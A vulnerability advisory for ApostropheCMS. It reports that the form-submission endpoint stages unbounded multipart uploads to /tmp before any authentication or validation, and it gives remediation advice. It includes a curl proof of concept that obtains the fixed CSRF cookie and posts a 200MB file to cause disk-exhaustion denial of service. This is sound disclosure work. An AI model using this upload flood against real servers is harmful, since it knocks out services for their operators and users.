ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS

Summary The form submission endpoint runs multer({ dest: os.tmpdir() }).any() before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.

Details packages/form/index.js apiRoutes.post.submit (L274–296): [ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]. No limits, no rate limiting, no pre-validation. "CSRF" is a fixed-value double-submit cookie (vulnlab.csrf=csrf, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.

PoC

$ curl -s -c csrfjar.cookies http://localhost:3100/        # get vulnlab.csrf=csrf (any GET)
$ df -P /tmp                                                # before: used=1105212
$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \
      -F "file=@/tmp/opencode/big.bin;type=application/octet-stream" &
   DURING transfer:    used=1148668
   still transferring: used=1226936        # +121MB mid-transfer on disk
   http=500 time=1.78s sent=209715411B     # generic error AFTER full staging
# Anonymous, zero credentials. 200MB written to /tmp pre-validation.

Impact Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk /tmp (process/host crash) and saturate the event loop — a trivial remote DoS. Aborted transfers risk orphaning staged files (no req.aborted cleanup).

Remediation — Set multer limits (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on req.aborted/error; add per-IP rate limiting.